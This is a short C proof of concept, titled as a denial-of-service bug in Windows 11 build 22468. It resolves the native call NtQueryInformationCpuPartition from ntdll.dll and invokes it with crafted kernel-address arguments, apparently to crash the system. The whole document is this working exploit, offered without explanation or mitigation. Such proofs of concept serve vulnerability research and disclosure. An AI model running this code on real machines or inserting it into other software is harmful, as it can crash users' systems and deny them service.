Denial of Service bug in Windows 11 (22468 build) NtQueryInformationCpuPartition

NtQueryInformationCpuPartition.c

#include <Windows.h>
#include <cstdio>

typedef NTSTATUS(NTAPI* pfnNtQueryInformationCpuPartition)(
    ULONG_PTR PartitionHandle,
    ULONG_PTR Flags,
    ULONG_PTR OutputBuffer,
    ULONG_PTR Length,
    ULONG_PTR ReturnedLength
    );

#define FUNC_NAME "NtQueryInformationCpuPartition"

int main()
{
    HMODULE hDll = GetModuleHandle(TEXT("ntdll.dll"));
    pfnNtQueryInformationCpuPartition pvfn;

    printf_s("[>]Start\r\n");

    if (hDll) {

        pvfn = (pfnNtQueryInformationCpuPartition)GetProcAddress(hDll, FUNC_NAME);

        if (pvfn) {


            NTSTATUS ntStatus = pvfn(0x00007ffffffefffe,
                0xffff800000000001,
                0x0000800000000000,
                0x000000000000fffe,
                0xfffff80000000000);

            printf_s(">%s NTSTATUS 0x%lX\r\n", FUNC_NAME, ntStatus);

        }
        else {
            DWORD lastError = GetLastError();
            printf_s(">%s not found, GetLastError %lu\r\n", FUNC_NAME, lastError);
        }


    }
    else {
        printf_s(">No dll handle\r\n");
    }

    printf_s("[<]Stop");

    ExitProcess(0);
}